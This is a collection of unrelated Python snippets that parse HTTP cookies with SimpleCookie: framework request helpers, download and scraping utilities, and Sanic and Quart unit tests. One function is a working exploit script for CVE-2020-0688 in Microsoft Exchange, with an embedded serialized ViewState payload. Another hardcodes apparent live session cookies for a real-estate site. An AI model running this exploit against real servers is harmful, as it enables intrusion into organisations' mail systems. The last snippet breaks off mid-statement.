def get_cookie_dict(environ): """Return a *plain* dictionary of cookies as found in the request. Unlike ``get_cookies`` this returns a dictionary, not a ``SimpleCookie`` object. For incoming cookies a dictionary fully represents the information. Like ``get_cookies`` this caches and checks the cache. """ header = environ.get('HTTP_COOKIE') if not header: return {} if 'paste.cookies.dict' in environ: cookies, check_header = environ['paste.cookies.dict'] if check_header == header: return cookies cookies = SimpleCookie() try: cookies.load(header) except CookieError: pass result = {} for name in cookies: result[name] = cookies[name].value environ['paste.cookies.dict'] = (result, header) return result
def parse_cookies(self): from http.cookies import SimpleCookie, CookieError if not self._headers_history: self._parse_headers_raw() # Get cookies from endpoint cookies = [] for header in chain(*self._headers_history): if len(header) > 2: continue key, value = header[0], header[1] if key.lower().startswith("set-cookie"): try: cookie = SimpleCookie() cookie.load(value) cookies.extend(list(cookie.values())) # update cookie jar for morsel in list(cookie.values()): if isinstance(self._cookies_jar, CookieJar): self._cookies_jar.set_cookie(morsel_to_cookie(morsel)) except CookieError as e: logger.warn(e) self._cookies = dict([(cookie.key, cookie.value) for cookie in cookies]) return self._cookies
def raw_cookies(self): """Raw access to cookies""" cookie_data = self.environ.get("HTTP_COOKIE", "") cookies = SimpleCookie() if not cookie_data: return cookies cookies.load(cookie_data) return cookies
def cookies(self): """Container of request cookies """ cookies = SimpleCookie() cookie = self.environ.get('HTTP_COOKIE') if cookie: cookies.load(cookie) return cookies
def cookie_dict_from_cookie_str(cookie_str): """cookie_dict_from_str Cookie字符串返回成dict :param cookie_str: cookies string """ cookie = SimpleCookie() cookie.load(cookie_str) return {key: morsel.value for key, morsel in cookie.items()}
def cookies(self) -> HTTPCookies: if not hasattr(self, "_cookies"): cookies = HTTPCookies() if "set-cookie" in self.headers: for cookie_header in self.headers.get_list("set-cookie"): cookies.load(cookie_header) self._cookies = cookies return self._cookies
def cookies(self): """A dictionary of Cookie.Morsel objects.""" cookies = SimpleCookie() try: cookies.load(self.headers["Cookie"]) except Exception: pass return cookies
def get_cookie(self, key): cookie_string = self.req_env.get('HTTP_COOKIE', None) if cookie_string is None: return cookie = SimpleCookie() cookie.load(cookie_string) return cookie.get(key, None).value
def start_response(status, headers): ret["status"] = status ret["headers"] = headers ret["cookies"] = {} cookies = SimpleCookie() for k, v in headers: if k == 'Set-Cookie': cookies.load(v) for key in cookies.keys(): ret["cookies"][key] = cookies[key]
def wsgi_filter(environ, start_response): # set REMOTE_USER from cookie cookies = SimpleCookie() cookies.load(environ.get('HTTP_COOKIE', '')) if 'REMOTE_USER' in cookies: user = cookies['REMOTE_USER'].value else: user = '******' environ['REMOTE_USER'] = user return app(environ, start_response)
def parse_cookies( self, headers ): """:meth:`pluggdapps.web.interfaces.IHTTPCookie.parse_cookies` interface method.""" cookies = SimpleCookie() cookie = headers.get( 'cookie', '' ) try : cookies.load( cookie ) return cookies except CookieError : self.pa.logwarn( "Unable to parse cookie: %s" % cookie ) return None
def cookies(self) -> HTTPCookies: """ Parse cookies and return cookies in a `HTTPCookies` instance. """ if not hasattr(self, "_cookies"): cookies = HTTPCookies() if "set-cookie" in self.headers: for cookie_header in self.headers.get_list("set-cookie"): cookies.load(cookie_header) self._cookies = cookies return self._cookies
def cookies(self): if self._cookies is None: cookie = self.headers.get('Cookie') or self.headers.get('cookie') if cookie is not None: cookies = SimpleCookie() cookies.load(cookie) self._cookies = {name: cookie.value for name, cookie in cookies.items()} else: self._cookies = {} return self._cookies
def test_cookies(app): @app.route("/") def handler(request): response = text("Cookies are: {}".format(request.cookies["test"])) response.cookies["right_back"] = "at you" return response request, response = app.test_client.get("/", cookies={"test": "working!"}) response_cookies = SimpleCookie() response_cookies.load(response.headers.get("Set-Cookie", {})) assert response.text == "Cookies are: working!" assert response_cookies["right_back"].value == "at you"
def test_false_cookies(app, httponly, expected): @app.route("/") def handler(request): response = text("hello cookies") response.cookies["right_back"] = "at you" response.cookies["right_back"]["httponly"] = httponly return response request, response = app.test_client.get("/") response_cookies = SimpleCookie() response_cookies.load(response.headers.get("Set-Cookie", {})) assert ("HttpOnly" in response_cookies["right_back"].output()) == expected
def dictionary_from_cookie(self): cookie = SimpleCookie() if self.headers.get('Cookie'): cookie.load(self.headers.get('Cookie')) cookie_parameters = {key: cookie[key].value for key in cookie} for key in cookie_parameters: try: cookie_parameters[key] = int(cookie_parameters[key]) except ValueError: pass return cookie_parameters else: return {}
def addLinkSpider(add_link_dictionary): # get user's download information from add_link_dictionary for i in ['link', 'header', 'out', 'user-agent', 'load-cookies', 'referer']: if not (i in add_link_dictionary): add_link_dictionary[i] = None link = add_link_dictionary['link'] header = add_link_dictionary['header'] user_agent = add_link_dictionary['user-agent'] raw_cookies = add_link_dictionary['load-cookies'] referer = add_link_dictionary['referer'] requests_session = requests.Session() # defining a requests Session if raw_cookies: # set cookies cookie = SimpleCookie() cookie.load(raw_cookies) cookies = {key: morsel.value for key, morsel in cookie.items()} requests_session.cookies = cookiejar_from_dict(cookies) if referer: # set referer to the session requests_session.headers.update({'referer': referer}) if user_agent: # set user_agent to the session requests_session.headers.update({'user-agent': user_agent}) # find headers response = requests_session.head(link) header = response.headers file_size = None if 'Content-Length' in header.keys(): # checking if file_size is available file_size = int(header['Content-Length']) if int(file_size/1073741824) != 0: # converting file_size to KB or MB or GB file_size = file_size/1073741824 size_str = str(round(file_size, 2)) + " GB" elif int(file_size/1048576) != 0: size_str = str(int(file_size/1048576)) + " MB" elif int(file_size/1024) != 0: size_str = str(int(file_size/1024)) + " KB" else: size_str = str(file_size) filesize = size_str return filesize
def parse_cookie(cookie): if cookie == '': return {} try: c = SimpleCookie() c.load(cookie) except CookieError: # Invalid cookie return {} cookiedict = {} for key in list(c.keys()): cookiedict[key] = c.get(key).value return cookiedict
def test_false_cookies(httponly, expected): app = Sanic('test_text') @app.route('/') def handler(request): response = text('Cookies are: {}'.format(request.cookies['test'])) response.cookies['right_back'] = 'at you' response.cookies['right_back']['httponly'] = httponly return response request, response = sanic_endpoint_test(app) response_cookies = SimpleCookie() response_cookies.load(response.headers.get('Set-Cookie', {})) 'HttpOnly' in response_cookies == expected
def test_cookies(): app = Sanic('test_text') @app.route('/') def handler(request): response = text('Cookies are: {}'.format(request.cookies['test'])) response.cookies['right_back'] = 'at you' return response request, response = sanic_endpoint_test(app, cookies={"test": "working!"}) response_cookies = SimpleCookie() response_cookies.load(response.headers.get('Set-Cookie', {})) assert response.text == 'Cookies are: working!' assert response_cookies['right_back'].value == 'at you'
def parse_cookies(http_cookie): r"""Parse a HTTP_COOKIE header and return dict of cookie names and decoded values. >>> sorted(parse_cookies('').items()) [] >>> sorted(parse_cookies('a=1').items()) [('a', '1')] >>> sorted(parse_cookies('a=1%202').items()) [('a', '1 2')] >>> sorted(parse_cookies('a=Z%C3%A9Z').items()) [('a', 'Z\xc3\xa9Z')] >>> sorted(parse_cookies('a=1; b=2; c=3').items()) [('a', '1'), ('b', '2'), ('c', '3')] >>> sorted(parse_cookies('a=1; b=w("x")|y=z; c=3').items()) [('a', '1'), ('b', 'w('), ('c', '3')] >>> sorted(parse_cookies('a=1; b=w(%22x%22)|y=z; c=3').items()) [('a', '1'), ('b', 'w("x")|y=z'), ('c', '3')] >>> sorted(parse_cookies('keebler=E=mc2').items()) [('keebler', 'E=mc2')] >>> sorted(parse_cookies(r'keebler="E=mc2; L=\"Loves\"; fudge=\012;"').items()) [('keebler', 'E=mc2; L="Loves"; fudge=\n;')] """ # print "parse_cookies" if '"' in http_cookie: # HTTP_COOKIE has quotes in it, use slow but correct cookie parsing cookie = SimpleCookie() try: cookie.load(http_cookie) except CookieError: # If HTTP_COOKIE header is malformed, try at least to load the cookies we can by # first splitting on ';' and loading each attr=value pair separately cookie = SimpleCookie() for attr_value in http_cookie.split(";"): try: cookie.load(attr_value) except CookieError: pass cookies = dict([(k, unquote(v.value)) for k, v in cookie.iteritems()]) else: # HTTP_COOKIE doesn't have quotes, use fast cookie parsing cookies = {} for key_value in http_cookie.split(";"): key_value = key_value.split("=", 1) if len(key_value) == 2: key, value = key_value cookies[key.strip()] = unquote(value.strip()) return cookies
def queueSpider(add_link_dictionary): # get download information from add_link_dictionary for i in ['link', 'header', 'out', 'user_agent', 'load_cookies', 'referer']: if not (i in add_link_dictionary): add_link_dictionary[i] = None link = add_link_dictionary['link'] header = add_link_dictionary['header'] user_agent = add_link_dictionary['user_agent'] raw_cookies = add_link_dictionary['load_cookies'] referer = add_link_dictionary['referer'] requests_session = requests.Session() # defining a requests Session if raw_cookies: # set cookies cookie = SimpleCookie() cookie.load(raw_cookies) cookies = {key: morsel.value for key, morsel in cookie.items()} requests_session.cookies = cookiejar_from_dict(cookies) if referer: # set referer to the session requests_session.headers.update({'referer': referer}) if user_agent: # set user_agent to the session requests_session.headers.update({'user-agent': user_agent}) # find headers try: response = requests_session.head(link) header = response.headers except: header = {} filename = None if 'Content-Disposition' in header.keys(): # checking if filename is available content_disposition = header['Content-Disposition'] if content_disposition.find('filename') != -1: filename_splited = content_disposition.split('filename=') filename_splited = filename_splited[-1] # getting file name in desired format filename = filename_splited[1:-1] if not(filename): filename = link.split('/')[-1] return filename
def test_cookie_deletion(app): @app.route("/") def handler(request): response = text("OK") del response.cookies["i_want_to_die"] response.cookies["i_never_existed"] = "testing" del response.cookies["i_never_existed"] return response request, response = app.test_client.get("/") response_cookies = SimpleCookie() response_cookies.load(response.headers.get("Set-Cookie", {})) assert int(response_cookies["i_want_to_die"]["max-age"]) == 0 with pytest.raises(KeyError): _ = response.cookies["i_never_existed"]
def http_error_302(self, request, fp, code, message, headers): cookie = SimpleCookie() request_cookie = request.headers.get('Cookie') if request_cookie: cookie.load(request_cookie) set_cookie = headers.get('set-cookie') if set_cookie: for value in set_cookie: cookie.load(value) headers['Cookie'] = cookie.output(header='', sep='; ') redirect_handler = HTTPRedirectHandler.http_error_302(self, request, fp, code, message, headers) return inesHTTPError(request, redirect_handler, code, message, headers)
def test_cookie_options(app): @app.route("/") def handler(request): response = text("OK") response.cookies["test"] = "at you" response.cookies["test"]["httponly"] = True response.cookies["test"]["expires"] = datetime.now() + timedelta( seconds=10 ) return response request, response = app.test_client.get("/") response_cookies = SimpleCookie() response_cookies.load(response.headers.get("Set-Cookie", {})) assert response_cookies["test"].value == "at you" assert response_cookies["test"]["httponly"] is True
def test_cookie_options(): app = Sanic('test_text') @app.route('/') def handler(request): response = text("OK") response.cookies['test'] = 'at you' response.cookies['test']['httponly'] = True response.cookies['test']['expires'] = datetime.now() + timedelta(seconds=10) return response request, response = sanic_endpoint_test(app) response_cookies = SimpleCookie() response_cookies.load(response.headers.get('Set-Cookie', {})) assert response_cookies['test'].value == 'at you' assert response_cookies['test']['httponly'] == True
def test_default_timeout(self): # Default timeout should be 30 mins self.login() response = self.client.get('/next-after-login', follow_redirects=False) cookies = SimpleCookie() [cookies.load(item[1]) for item in response.headers if item[0] == 'Set-Cookie'] assert int(cookies['SS_INACTIVITY_TIMEOUT'].value) == 30 * 60
def test_cookie_deletion(): app = Sanic('test_text') @app.route('/') def handler(request): response = text("OK") del response.cookies['i_want_to_die'] response.cookies['i_never_existed'] = 'testing' del response.cookies['i_never_existed'] return response request, response = sanic_endpoint_test(app) response_cookies = SimpleCookie() response_cookies.load(response.headers.get('Set-Cookie', {})) assert int(response_cookies['i_want_to_die']['max-age']) == 0 with pytest.raises(KeyError): hold_my_beer = response.cookies['i_never_existed']
def test_cookie_dealer_with_domain(self): class DomServer(): def __init__(self): self.symkey = b"0123456789012345" self.cookie_domain = "op.example.org" cookie_dealer = CookieDealer(DomServer()) cookie_value = "Something to pass along" cookie_typ = "sso" cookie_name = "Foobar" kaka = cookie_dealer.create_cookie(cookie_value, cookie_typ, cookie_name) C = SimpleCookie() C.load(kaka[1]) assert C[cookie_name]["domain"] == "op.example.org"
def addLinkSpider(add_link_dictionary): # get user's download information from add_link_dictionary for i in ['link', 'header', 'out', 'user_agent', 'load_cookies', 'referer']: if not (i in add_link_dictionary): add_link_dictionary[i] = None link = add_link_dictionary['link'] header = add_link_dictionary['header'] user_agent = add_link_dictionary['user_agent'] raw_cookies = add_link_dictionary['load_cookies'] referer = add_link_dictionary['referer'] requests_session = requests.Session() # defining a requests Session if raw_cookies: # set cookies cookie = SimpleCookie() cookie.load(raw_cookies) cookies = {key: morsel.value for key, morsel in cookie.items()} requests_session.cookies = cookiejar_from_dict(cookies) if referer: # set referer to the session requests_session.headers.update({'referer': referer}) if user_agent: # set user_agent to the session requests_session.headers.update({'user-agent': user_agent}) # find headers try: response = requests_session.head(link) header = response.headers except: header = {} file_size = None if 'Content-Length' in header.keys(): # checking if file_size is available file_size = int(header['Content-Length']) # converting file_size to KiB or MiB or GiB file_size = humanReadbleSize(file_size) return file_size # If no Content-Length ? fixed it.
def find_value(flow, location, key): #return the value in response correspond to the key raw_cookie = dict(flow.response.headers.fields).get(b'set-cookie') cookie = SimpleCookie() resp_cookies = {} if(type(raw_cookie) == type(b'cookie')): cookie.load(bytes.decode(raw_cookie)) for k, value in cookie.items(): resp_cookies[k] = value.value data = bytes.decode(flow.response.content) if location == 'cookie': return resp_cookies[key] else: if str(flow.response.headers['content-type']).find('urlencode') > -1: dic = urllib.parse.parse_qs(data) return dic[key] elif jsonFun.is_json(flow.response.content): pdb.set_trace() data.replace('\n', '') data.replace(' ','') return fetch_json_value(json.loads(data), key)
def update_cookies(self, cookies): """Update request cookies header.""" if not cookies: return c = SimpleCookie() if hdrs.COOKIE in self.headers: c.load(self.headers.get(hdrs.COOKIE, '')) del self.headers[hdrs.COOKIE] for name, value in cookies.items(): if isinstance(value, Morsel): # Preserve coded_value mrsl_val = value.get(value.key, Morsel()) mrsl_val.set(value.key, value.value, value.coded_value) c[name] = mrsl_val else: c[name] = value self.headers[hdrs.COOKIE] = c.output(header='', sep=';').strip()
def parse_cookie(cookie): '''Parse an `HTTP cookie`_ string. Return a dictionary of cookie name/values. ''' if not cookie: return {} if not isinstance(cookie, BaseCookie): try: c = SimpleCookie() c.load(cookie) except CookieError: # pragma nocover # Invalid cookie return {} else: c = cookie cookiedict = {} for key in c.keys(): cookiedict[key] = c.get(key).value return cookiedict
def get_SAMLResponse(self, response): # print("SAMLResponse: ", response.request.headers['Cookie']) cookies = response.request.headers.getlist('Cookie') c = SimpleCookie() for cookie in cookies: c.load(cookie.decode("utf-8")) self.initiator_cookies = [{ "name": key, "value": c[key].value } for key in c] self.acs_post_cookies = [ { "name": key, "value": c[key].value } for key in c if not (key == "JSESSIONID" or key == "_WL_AUTHCOOKIE_JSESSIONID") ] RelayState = response.selector.xpath( "//input[@name='RelayState']/@value").get("") SAMLResponse = response.selector.xpath( "//input[@name='SAMLResponse']/@value").get("") SPName = response.selector.xpath("//input[@name='SPName']/@value").get( "") frm_data = { 'RelayState': RelayState, 'SAMLResponse': SAMLResponse, 'SPName': SPName } meuvivoempresas_url = "https://meuvivoempresas.vivo.com.br/saml2/sp/acs/post" yield FormRequest(meuvivoempresas_url, formdata=frm_data, meta={ 'is_authorized': response.meta.get("is_authorized", False), 'cookiejar': random.randint(50, 999) }, cookies=self.acs_post_cookies, callback=self.create_SAMLRequest, dont_filter=True)
def build(resp): response = Response() # Pass settings over. response.config = self.config if resp: # Fallback to None if there's no staus_code, for whatever reason. response.status_code = getattr(resp, 'status', None) # Make headers case-insensitive. response.headers = CaseInsensitiveDict( getattr(resp, 'headers', None)) # Start off with our local cookies. cookies = self.cookies or dict() # Add new cookies from the server. if 'set-cookie' in response.headers: cookie_header = response.headers['set-cookie'] c = SimpleCookie() c.load(cookie_header) for k, v in list(c.items()): cookies.update({k: v.value}) # Save cookies in Response. response.cookies = cookies # Save original resopnse for later. response.raw = resp if is_error: response.error = resp response.url = self.full_url return response
def load_cookies(self) -> Dict[str, str]: """Load cookies from environment variable Returns: dict: dict of cookies """ if self.fb_email: log.info("Generating FB cookies") raw_cookie = self.get_cookies_string() else: log.info("Getting FB cookies from Env Var") raw_cookie = self.fb_cookies if raw_cookie is None: raise ValueError("No cookies set in Env Var.") cookie = SimpleCookie() cookie.load(raw_cookie) cookies = {} for key, morsel in cookie.items(): cookies[key] = morsel.value return cookies
def test_create_cookie_value_no_secure(self): cookie_value = "Something to pass along" cookie_typ = "sso" cookie_name = "Foobar" class DummyServer(): def __init__(self): self.symkey = b"0123456789012345" cookie_dealer = CookieDealer(DummyServer(), secure=False) kaka = cookie_dealer.create_cookie(cookie_value, cookie_typ, cookie_name) value, timestamp, typ = cookie_dealer.get_cookie_value( kaka[1], "Foobar") assert (value, typ) == (cookie_value, cookie_typ) t = SimpleCookie() t.load(kaka[1]) morsel = t['Foobar'] assert not morsel['secure'] assert morsel['httponly']
def __init__(self, iterable, status, headers): self._text = None self._content = b''.join(iterable) if hasattr(iterable, 'close'): iterable.close() self._status = status self._status_code = int(status[:3]) self._headers = CiDict(headers) cookies = SimpleCookie() for name, value in headers.items(): if name.lower() == 'set-cookie': cookies.load(value) self._cookies = dict( (morsel.key, Cookie(morsel)) for morsel in cookies.values()) self._encoding = content_type_encoding( self._headers.get('content-type'))
def _set_cookie(self): try: if self.cookie != None: cc = SimpleCookie() kue = cc.load() coki_coki = {a: b.value for a, b in kue.items()} return coki_coki else: return None except Exception: print(f'[{yellow("!")}] Cookie Format {red("Invalid")}') return None
def cookie_array(self, cookiestrs): C = SimpleCookie() for cookiestr in cookiestrs: C.load(cookiestr) cookies = [] for key, morsel in C.items(): expiry = None if morsel['expires']: parsed_expires = dateutil.parser.parse(morsel['expires']) expiry = int(time.mktime(parsed_expires.timetuple())) cookies.append({ 'name': morsel.key, 'value': morsel.value, 'expires': morsel['expires'], 'expiry': expiry, 'path': morsel['path'], 'domain': morsel['domain'], 'secure': True if morsel['secure'] else False, 'httponly': True if morsel['httponly'] else False }) return cookies
def test_login(app_url, uuid): r = requests.post(app_url + '/email-link/send', json={'email': '*****@*****.**'}) assert r.ok emails = requests.get('http://smtp:1080/api/emails') link = emails.json()[0]['text'] r = requests.get(link) assert r.ok assert r.headers['access'] is not None assert r.headers['Set-Cookie'] is not None cookie = SimpleCookie() cookie.load(r.headers['Set-Cookie']) assert cookie.get('refresh_token') is not None assert verify_jwt(r.headers['access'], cookie.get('refresh_token').value, BASE_URL + '/email-pwless-jwk-file/jwk', ['RS256'], uuid, 'Aureole Server') requests.delete('http://smtp:1080/api/emails')
def _check_cookies(self, vector, configs): """ Checks the vector's cookies. If values were not specified in the cookies object, then the 'Cookies' header is checked. Each cookie in the header is parsed manually. :param vector: vector dictionary :param configs: AVA configs """ cookies = vector['cookies'] # check headers if not cookies if not cookies and 'Cookie' in vector['headers']: header = vector['headers']['Cookie'] simple = SimpleCookie() # convert from 'key=value; key=value' simple.load(header) for morsel in simple.values(): cookies[morsel.key] = morsel.value # add configs cookies.update(configs['cookies'])
def main(): parser = argparse.ArgumentParser() parser.add_argument("-s", "--server", required=True, help="ECP Server URL Example: http://ip/owa") parser.add_argument("-u", "--user", required=True, help="login account Example: domain\\user") parser.add_argument("-p", "--password", required=True, help="Password") parser.add_argument("-t", "--timeout", help="Timeout", default='30') args = parser.parse_args() url = args.server print("[*] Start to exploit..") user = args.user pwd = args.password timeout = int(args.timeout) view, base_url, login_cookie = get_value(url, user, pwd, timeout) # from https://github.com/zcgonvh/CVE-2020-0688 out_payload = "/wEymAkAAQAAAP////8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAAC6BzxSZXNvdXJjZURpY3Rpb25hcnkgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiIgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiIHhtbG5zOnM9ImNsci1uYW1lc3BhY2U6U3lzdGVtO2Fzc2VtYmx5PW1zY29ybGliIiB4bWxuczp3PSJjbHItbmFtZXNwYWNlOlN5c3RlbS5XZWI7YXNzZW1ibHk9U3lzdGVtLldlYiI+PE9iamVjdERhdGFQcm92aWRlciB4OktleT0iYSIgT2JqZWN0SW5zdGFuY2U9Int4OlN0YXRpYyB3Okh0dHBDb250ZXh0LkN1cnJlbnR9IiBNZXRob2ROYW1lPSIiPjwvT2JqZWN0RGF0YVByb3ZpZGVyPjxPYmplY3REYXRhUHJvdmlkZXIgeDpLZXk9ImIiIE9iamVjdEluc3RhbmNlPSJ7U3RhdGljUmVzb3VyY2UgYX0iIE1ldGhvZE5hbWU9ImdldF9SZXNwb25zZSI+PC9PYmplY3REYXRhUHJvdmlkZXI+PE9iamVjdERhdGFQcm92aWRlciB4OktleT0iYyIgT2JqZWN0SW5zdGFuY2U9IntTdGF0aWNSZXNvdXJjZSBifSIgTWV0aG9kTmFtZT0iZ2V0X0hlYWRlcnMiPjwvT2JqZWN0RGF0YVByb3ZpZGVyPjxPYmplY3REYXRhUHJvdmlkZXIgeDpLZXk9ImQiIE9iamVjdEluc3RhbmNlPSJ7U3RhdGljUmVzb3VyY2UgY30iIE1ldGhvZE5hbWU9IkFkZCI+PE9iamVjdERhdGFQcm92aWRlci5NZXRob2RQYXJhbWV0ZXJzPjxzOlN0cmluZz5YLVpDRy1URVNUPC9zOlN0cmluZz48czpTdHJpbmc+Q1ZFLTIwMjAtMDY4ODwvczpTdHJpbmc+PC9PYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz48L09iamVjdERhdGFQcm92aWRlcj48T2JqZWN0RGF0YVByb3ZpZGVyIHg6S2V5PSJlIiBPYmplY3RJbnN0YW5jZT0ie1N0YXRpY1Jlc291cmNlIGJ9IiBNZXRob2ROYW1lPSJFbmQiPjwvT2JqZWN0RGF0YVByb3ZpZGVyPjwvUmVzb3VyY2VEaWN0aW9uYXJ5PguiWEsRz0bNLTCuxZ4yOnVoyZanTg==" final_exp = "{}/ecp/default.aspx?__VIEWSTATEGENERATOR={}&__VIEWSTATE={}".format( base_url, view, quote(out_payload)) print("[*] Trigger payload..") #proxy = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"} cookie = SimpleCookie() cookie.load(login_cookie) cookies = {} for key, morsel in cookie.items(): cookies[key] = morsel.value resp = req.get(final_exp, verify=False, timeout=timeout, allow_redirects=False, cookies=cookies) if "X-ZCG-TEST" in resp.headers: print("\n[+] Pwn ! Target {} was vulnerable !".format(url)) else: print("\n[!] No vulnerable found.")
def cookie_parser(): """Parse cookie to inject into request""" cookies_string = 'zguid=23|%245cc0fc4a-4f94-47d4-bab7-e3e895c0c580; ' \ 'search=6|1596895175241%7Crect%3D26.276158170416835%252C-79.48035596777342%252C25.26703349341841' \ '%252C-81.01432203222654%26disp%3Dmap%26mdm%3Dauto%26p%3D1%26z%3D0%26pt%3Dpmf%252Cpf%26fs%3D1' \ '%26fr%3D0%26mmm%3D1%26rs%3D0%26ah%3D0%26singlestory%3D0%26housing-connector%3D0%26abo%3D0' \ '%26garage%3D0%26pool%3D0%26ac%3D0%26waterfront%3D0%26finished%3D0%26unfinished%3D0%26cityview' \ '%3D0%26mountainview%3D0%26parkview%3D0%26waterview%3D0%26hoadata%3D1%26zillow-owned%3D0' \ '%263dhome%3D0%09%0912700%09%09%09%09%09%09; G_ENABLED_IDPS=google; ' \ 'zgsession=1|5a3eec47-fb77-4f95-b852-893f37a069d1; ' \ 'AWSALB=r+A2dZdLqzEnzBLFBnnCNkHwTLvn6UPE9CtKNhK+/Tmb1z/5mh1RmISjKCeK41nO8xYUi9' \ '/Z7xTsNENUM99ITZGFJE+sA3u0E7O0JDDvFIx9MxXErKY+ppPGzG4K; ' \ 'AWSALBCORS=r+A2dZdLqzEnzBLFBnnCNkHwTLvn6UPE9CtKNhK+/Tmb1z/5mh1RmISjKCeK41nO8xYUi9' \ '/Z7xTsNENUM99ITZGFJE+sA3u0E7O0JDDvFIx9MxXErKY+ppPGzG4K; ' \ 'JSESSIONID=46B334AD38A25EDA7FBE334CD90A99AF; g_state={"i_p":1594212243486,"i_l":1}; ' \ '_pxvid=1e17f3a4-c10c-11ea-a973-0242ac120008 ' cookie = SimpleCookie() cookie.load(cookies_string) # print(cookie.items()) cookies = {k: v.value for k, v in cookie.items()} return cookies
async def test_secure_cookie_session_interface_save_session() -> None: session = SecureCookieSession() session['something'] = 'else' interface = SecureCookieSessionInterface() app = Quart(__name__) app.secret_key = 'secret' response = Response('') await interface.save_session(app, session, response) cookies = SimpleCookie() cookies.load(response.headers['Set-Cookie']) cookie = cookies[app.session_cookie_name] assert cookie['path'] == interface.get_cookie_path(app) assert cookie['httponly'] == '' if not interface.get_cookie_httponly( app) else True assert cookie['secure'] == '' if not interface.get_cookie_secure( app) else True if version_info >= (3, 8): assert cookie['samesite'] == (interface.get_cookie_samesite(app) or '') assert cookie['domain'] == (interface.get_cookie_domain(app) or '') assert cookie['expires'] == (interface.get_expiration_time(app, session) or '') assert response.headers['Vary'] == 'Cookie'
def assert_redirects_and_sets_cookie(app, output, redirect_to="/"): assert "http.response.start" == output["type"] assert 302 == output["status"] # Convert headers into a tuple of tuples for x in y lookups headers = tuple([tuple(pair) for pair in output["headers"]]) assert (b"location", redirect_to.encode("utf8")) in headers assert (b"content-type", b"text/html; charset=UTF-8") in headers assert (b"cache-control", b"private") in headers # ... and confirm the cookie was set cookie_values = [value for key, value in headers if key == b"set-cookie"] signer = Signer(app.cookie_secret) simple_cookie = SimpleCookie() for cookie_value in cookie_values: simple_cookie.load(cookie_value.decode("utf8")) cookie_dict = {key: morsel.value for key, morsel in simple_cookie.items()} decoded = json.loads(signer.unsign(cookie_dict["asgi_auth"])) assert "123" == decoded["id"] assert "demouser" == decoded["username"] assert isinstance(decoded["ts"], int) # Should also clear asgi_auth_logout cookie assert "" == cookie_dict["asgi_auth_logout"] assert "0" == simple_cookie["asgi_auth_logout"]["max-age"]
def get_session(inputs, settings, data): # --- Manage cookie cookie = SimpleCookie() string_cookie = os.environ.get('HTTP_COOKIE') # --- Check for reinitialization if inputs.getvalue('clear_session') is None and string_cookie: ''' Existing session ''' cookie.load(string_cookie) sid = cookie['sid'].value else: ''' New session ''' sid = uuid.uuid4() cookie['sid'] = sid return Session(cookie, settings, data)
async def __call__(self, scope, receive, send): # ASGI应用 method = scope['method'] # 请求方法 path = scope['raw_path'].decode('utf-8') # 请求路径 cookie_str = dict(scope["headers"]).get(b'cookie', '') # Cookies req_obj = None if method == 'POST': event = await receive() # 接收请求事件 query = event['body'].decode('utf-8') req_obj = parse_qs(query) # 处理请求参数 sc = SimpleCookie() sc.load(cookie_str.decode('utf-8')) # 处理Cookie req_obj['cookies'] = {k: m.value for k, m in sc.items()} handler = self.handlers[method].get(path, False)# 获取handler ck_dict = None if not handler: status = 404 content = page404.encode('utf-8') else: status = 200 content = await handler(req_obj) # 执行handler if isinstance(content, tuple): content, ck_dict = content content = content.encode('utf-8') headers = [ (b"Content-Length", b"%d" % len(content)), (b"Content-Type", b"text/html"), ] if ck_dict: set_ck = ';'.join([f'{k}={v}' for k, v in ck_dict.items()]) headers.append((b'Set-Cookie', set_ck.encode('utf-8'))) await send({ # 发送响应开始事件 "type": "http.response.start", "status": status, "headers": headers }) await send({ # 发送响应正文事件 "type": "http.response.body", "body": content, })
def check_auth(self, environ): # Verify that the cookies are valid cookie_store = SimpleCookie() try: cookie_store.load(environ["HTTP_COOKIE"]) except KeyError: # No cookies = no auth so just fail fast return None try: zid = next( (i for i in cookie_store.items() if i[0] == "zid"))[1].value token = next( (i for i in cookie_store.items() if i[0] == "token"))[1].value except StopIteration: return None if zid not in self.active_sessions or self.active_sessions[ zid] != token: return None return zid
def _decode_cookies(encoded_cookies): """ Extract the cookies from a base64 encoded string. :param encoded_cookies: An encoded string representing the cookie jar. :returns: A SimpleCookie containing all the cookies. """ cookies = SimpleCookie() if encoded_cookies: try: decoded_cookies = base64.b64decode(encoded_cookies) if not isinstance(decoded_cookies, str): # If decoded_cookies is not a string, it's likely we're on # Python3, and decoded_cookies is binary. Try to decode it. decoded_cookies = decoded_cookies.decode() cookies.load(decoded_cookies) except (TypeError, binascii.Error) as e: # In Python 2 this raises a TypeError, while in 3 it will raise a # binascii.Error. Catch either and handle them the same. get_logger().error("Unable to decode the cookies: %s", str(e)) return cookies
def parse(self, response): last_page = response.xpath('//nav/ul/li/a/text()').getall() try: last_page_no = int(last_page[-3].strip()) except: last_page_no = 1 rawdata = f" last_city={self.city_id}; last_cat=0; last_type=0" cookie = SimpleCookie() cookie.load(rawdata) cookies1 = {} for key, morsel in cookie.items(): cookies1[key] = morsel.value print(f'Last Page Number: {last_page_no}') for i in range(0, last_page_no): if (i == 0): yield scrapy.Request(url=response.request.url, cookies=self.cookies1, callback=self.parse_2, dont_filter=True, meta={ 'dont_redirect': True, "handle_httpstatus_list": [302] }) else: url = response.request.url url = f"https://www.wg-gesucht.de/en/wg-zimmer-in-cityname.{self.city_id}.0.1.{i}.html?category=0&city_id={self.city_id}&rent_type=0&noDeact=1&dFr={self.date_from}&dTo={self.date_to}&ot={self.ot}&img=1&rent_types%5B0%5D=0" if (self.api == '1'): yield scrapy.Request(client.scrapyGet(url=url), cookies=self.cookies1, callback=self.parse_2) else: yield scrapy.Request( url=url, cookies=self.cookies1, callback=self.parse_2, dont_filter=True, 